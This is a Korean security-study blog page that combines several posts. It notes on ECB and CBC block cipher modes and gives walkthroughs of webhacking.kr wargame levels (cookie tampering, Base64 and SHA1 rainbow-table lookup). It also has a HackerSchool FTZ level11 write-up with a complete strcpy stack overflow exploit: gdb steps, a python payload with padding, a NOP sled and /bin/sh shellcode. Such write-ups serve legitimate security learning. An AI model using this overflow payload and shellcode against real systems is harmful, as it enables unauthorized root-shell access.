블록 암호 운용 방식(block cipher modes of operation) 


블럭 암호 운용 방식을 공부하면서 가장 많이 참고한 자료는 위키백과와 이를 기반으로 제작된 서울과기대 컴퓨터공학과 박종혁 교수님의 수업자료입니다.

저는 '김재성(BadSpell)'님의 문제를 풀기위해서 블럭 암호 공부를 했는데요.. 

문제와 관련있는 'ECB'와 'CBC'에 대해서 집중적으로 공부했고, 이를 정리하는 포스팅을 하려고합니다.


암호학에서 블록 암호 운용 방식(영어: block cipher modes of operation)은 하나의 키 하에서 블록 암호를 반복적으로 안전하게 이용하게 하는 절차를 말한다. 블록 암호는 특정한 길이의 블록 단위로 동작하기 때문에, 가변 길이 데이터를 암호화하기 위해서는 먼저 이들을 단위 블록들로 나누어야 하며, 그리고 그 블록들을 어떻게 암호화할지를 정해야 하는데, 이때 블록들의 암호화 방식을 운용 방식으로 부른다. 운용 방식은 주로 암호화와 인증을 목적으로 정의되어왔다. 


참고 : 위키백과



블록 암호(Block chipher)란?

: 어느 특정 비트 수의 집합을 한번에 처리하는 암호  알고리즘으로, 여기서 집합은 블럭이라고 합니다. 


* 블록 길이 : 블록의 비트수를 의미합니다.

  - DES, 트리플 DES의 블록길이 64비트 

  - DES : 64비트 평문, 64비트 암호문

  - AES : 128비트, 192비트, 256비트



모드란?

: 블록 암호를 수행할 때, 긴 평문을 블록으로 나누어 암호화를 합니다. 이때, 사용하는 방법을 모드라고 합니다.


ECB 모드 : Electric CodeBook mode(전자 부호표 모드)

* CBC 모드 : Cipher Block Chaining mode(암호 블록 연쇄 모드)

* CFB 모드 : Cipher-FeedBack mode(암호 피드백 모드)

* OFB 모드 : Output-FeedBack mode(출력 피드백 모드)

* CTR 모드 : CounTeR mode(카운터 모드)



[ECB 모드]

: 평문 블록을 암호화 한 것이 그대로 암호문 블록이 됩니다.


* 패딩 : 마지막 평문 블록이 블록 길이에 미치지 못할 경우에, 추가하여 블록 길이가 되도록 맞춥니다.

* 특징 : 암호문 블록을 잘 살펴보면, 반복되는 평문속의 패턴을 파악할 수 있습니다.



1. ECB 모드에 의한 암호화 과정 




2. ECB 모드에 의한 복호화 과정 




3. ECB 모드 특징

 - 가장 간단하지만 가장 기밀성이 낮습니다. 

 - 모든 블록이 같은 암호화 키를 사용하기 때문에 보안에 취약합니다. 

 - 만약 암호화 메시지를 여러 부분으로 나누었을 때 두 블록이 같은 값이면, 암호화 했을 때도 동일합니다. 

 - 때문에 공격자가 비슷한 메시지를 반복적으로 암호화하는 반복적인 공격에도 취약합니다.






[CBC 모드]

: Cipher Block Chaining. 암호문 블록을 마치 체인처럼 연결시키기 때문에 붙혀진 이름


* ECB 모드의 취약한 점을 어느정도 보완할 수 있습니다.

* IV (초기화 벡터) : 최초의 평문 블록을 암호화 할 때, 한 단계의 앞의 암호문 블록이 존재하지 않으므로 이를 대신할 비트열 블록을 준비합ㅂ니다.

  비밀키와 마찬가지로 송신자와 수신자간에 미리 약속이 되어있어야 합니다. 

* 패딩 : 마지막 평문 블록이 블록 길이에 미치지 못할 경우에, 추가하여 블록 길이가 되도록 맞춥니다.



1. CBC 모드에 의한 암호화 과정 






2. CBC 모드에 의한 복호화 과정 





3. CBC 모드 특징

 - 평문 블록은 반드시 한단계 앞의 암호문 블록과 XOR을 취하고 나서 암호화 됩니다. 

   때문에, 만약 평문 블록 1과 2가 같더라도 암호 블록 1과 2는 같을 수 없습니다. 

 - CBC 모드의 암호문 블록이 1개 파손되었다면, 암호문 블록의길이가 바뀌지 않는다면, 복호화 했을 때에 평문 블록에 미치는 영향은 2블록에 한정됩니다.




이 이외에도, CFB, OFB, CTR 등의 블록 암호 모드 종류가 있지만, 이번에는 여기까지만 정리해보았습니다!

다음 포스팅은, 김재성군이 만든 ECB, CBC 문제 풀이로 하겠습니다.


 webhacking.kr 58 문제풀이



58번 문제를 클릭하면, 위와 같은 그림이 나옵니다.


F12를 눌러 개발자도구를 이용해 소스코드를 확인해보았습니다.
script src=kk.js
script src=kk2.js
embed src=hackme.swf 를 확인할 수 있습니다.


문제 url 뒤에 /hackme.swf 를 입력하면, 파일하나가 다운받아집니다.


파일을 열어보면 위 그림과 같이 아래쪽에 링크가 하나 있습니다.
해당 링크를 클릭하면 문제가 풀립니다.

'Challenge > Webhacking.kr' 카테고리의 다른 글

[Webhacking.kr]Challenge_level58  (0) 2018.03.24
[Webhacking.kr]Challenge_level4  (0) 2017.04.26
[Webhacking.kr]Challenge_level1  (0) 2017.04.11
[Webhackin.kr]http://webhacking.kr/ 가입하기  (0) 2016.01.14

*webhacking.kr 4번 문제풀이*


http://webhacking.kr/challenge/web/web-04/



위의 링크로 들어가면 문제 4번을 풀 수 있습니다.





맨 뒤에 ==이 붙어있는걸로 봐서는.. Base64로 인코딩이 되어있는것 같네요!



YzQwMzNiZmY5NGI1NjdhMTkwZTMzZmFhNTUxZjQxMWNhZWY0NDRmMg==



Base64로 디코딩하면



c4033bff94b567a190e33faa551f411caef444f2 




형태를 보면, 16진수의 40바이트로 된 문자입니다. 이것은 sha1의 특징이지요. 



기존의 레인보우 테이블을 통해서 test라는 본래의 문자를 알아냈습니다.










'Challenge > Webhacking.kr' 카테고리의 다른 글

[Webhacking.kr]Challenge_level58  (0) 2018.03.24
[Webhacking.kr]Challenge_level4  (0) 2017.04.26
[Webhacking.kr]Challenge_level1  (0) 2017.04.11
[Webhackin.kr]http://webhacking.kr/ 가입하기  (0) 2016.01.14

http://webhacking.kr/challenge/web/web-01/

* 문제 1번 풀이 *


문제를 확인하면 index.phps 라고 적혀있습니다. 

http://webhacking.kr/challenge/web/web-01/index.phps

이동 하면 아래와 같은 php 코드가 나옵니다.


코드를 살펴보면 user_lv의 쿠키 값이 5초과 6미만 이면 문제를 풀게 되는 것 같습니다.

F12를 누르고 쿠키값에 5.5를 넣어보았습니다.

document.cookie="user_lv=5.5"



문제가 풀렸습니다! 짝짝짝!


'Challenge > Webhacking.kr' 카테고리의 다른 글

[Webhacking.kr]Challenge_level58  (0) 2018.03.24
[Webhacking.kr]Challenge_level4  (0) 2017.04.26
[Webhacking.kr]Challenge_level1  (0) 2017.04.11
[Webhackin.kr]http://webhacking.kr/ 가입하기  (0) 2016.01.14

안녕하세요.  오늘은 FTZ level11번을 풀었습니다.


level11번으로 접속하여 ls 명령어를 통해 파일을 확인합니다. hint를 읽어봅시당!!!

C 코드가 있습니다.. 여기서 strcpy( str, argv[1] ); 부분이 있습니다. 


strcpy 함수란 ?


strcpy 함수는, Stack Buffer Over Flow에 취약한 함수입니다. 

strcpybuf영역에 복사를 하면 아래쪽부터 위로 데이터가 채워집니다.

아래와 같이 argv1을 받아서 실행을 하면, 정상적으로 동작하는 것을 볼 수 있습니다.


여기서 strcpy()의 문제점은 '경계값을 체크하지 않는다' 라는 것입니다

때문에 Segmentation Fault가 발생 할 수 있습니다

만약, str[256]크기보다 넘으면, 스택의 다른 영역을 침범 할 수 있습니다.



먼저, attackme의 실행 권한 때문에 


cp ./attackme ./tmp/star 


명령어를 이용하여, /tmp/에 star라는 이름의 파일을 넣었습니다. 


다음으로, gdb를 이용해서 디버깅을 해보았습니다.  


(gdb) disas main 


을 입력하여 strcpy() 함수의 위치를 알아봅시다. 

strcpy의 주소는 0x804835c입니다.


그 다음

 (gdb)br *0x804835c 

를 입력하여, ret부분에서 브레이크 포인트를 걸어줍니다.


(gdb) r AAAA 


AAAA를 실행하도록 해봅시다. 


(gdb) x/50x $esp

를 사용하여 먼저 AAAA가 어느부분까지 들어갔는지 확인해봅시다. 



쭉죽쭉 내려가다보면... 아래로 쭉쭉 ..  

다음 사진 처럼 중간 부분에서 0x41414141이 나타납니다! 

이제 AAAA를 입력한 것과 같이 페이로드를 짜서 입력을 해봅시다.. 


r $(python -c "print 'A'*268+'BBBB'") $(python -c "print '\x90'*100 + '\x31\xc0\x31\xdb\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80'")


자.. 이렇게 입력해봅시다! 그리고 BBBB가 어느부분에 들어가는지 알아봅시다. 

다음 사진과 같이, ebp에 AAAA eip에 BBBB가 덮혀지는걸 알 수 있습니다.



이제 

(gbd) x/50x $esp 



909090로 BBBB가 들어가는 위치..와 구조를 파악합시다..

아래로 쭉쭉쭉 내려가다보면.. 9090하는부분이 나옵니다. 

여기서 한 부분만 선택해서, 해당  nop명령어가 실행되게 합시다.


제가 선택한 곳은 아래와 같이 중간부분에 해당하는, 

\xc8\xfb\xff\xbf

입니다. 이제 이부분에 우리가 원하는 쉘코드를 삽입해봅시다.


이제 아까 작성한 페이로드를 이용해 실행시켜봅시다.

BBBB에 9090의 위치 \xc8\xfb\xff\xbf 를 넣어주고 재실행합시다.


자 그럼 아래와 같이 level12의 권한을 얻고, my-pass명령어를 입력 할 수 있습니다.




짝짝짝!!! 수고하셨습니다.


level12 password : it is like this




with C.K zairo(zairo.tistory.com)

'Challenge > HackerSchool FTZ' 카테고리의 다른 글

HackerSchool FTZ - level11  (1) 2016.09.04
  1. zairo 2016.09.12 23:51 신고

    짝짝짝

http://webhacking.kr/ 가입을 시작으로 웹해킹 스터디를 시작합니다.


웹해킹 페이지는 로그인창만있고 Join창이 없습니다. 이제부터 Join창을 찾아야합니다.


F12버튼을 눌러 페이지 코드를 살펴봅니다.  


그 중 table에서 tbody의 td를 열어보면 주석처리된 부분을 찾을 수 있습니다.


자세히 보면 Register이라고 적혀있고, 링크가 연결되 있습니다.

해당 링크를 주소창에 입력합니다.



해당창으로 이동하면 Join 페이지를 찾을 수 있습니다!!

아이디와 패스워드와 이메일을 입력합니다.


decode me 부분을 보면 문자열 끝에 ==이 붙어있습니다. 이를 통해

이를 보아 Base64로 암호화 된 것을 확인할 수 있습니다.

https://www.base64decode.org/ 로 들어가 

decode me에 있는 글자를 복호화 해봅시다 !

첫번째 결과입니다. 이를 또 디코드 합니다.



두번째 결과입니다.



세번 디코딩을 하면 암호를 해석 할 수 있습니다.


ip주소를 찾아내어 decode me 창에 입력하고 회원가입을 마무리합니다.




끝~~ 회원가입 완료했습니다.


'Challenge > Webhacking.kr' 카테고리의 다른 글

[Webhacking.kr]Challenge_level58  (0) 2018.03.24
[Webhacking.kr]Challenge_level4  (0) 2017.04.26
[Webhacking.kr]Challenge_level1  (0) 2017.04.11
[Webhackin.kr]http://webhacking.kr/ 가입하기  (0) 2016.01.14

+ Recent posts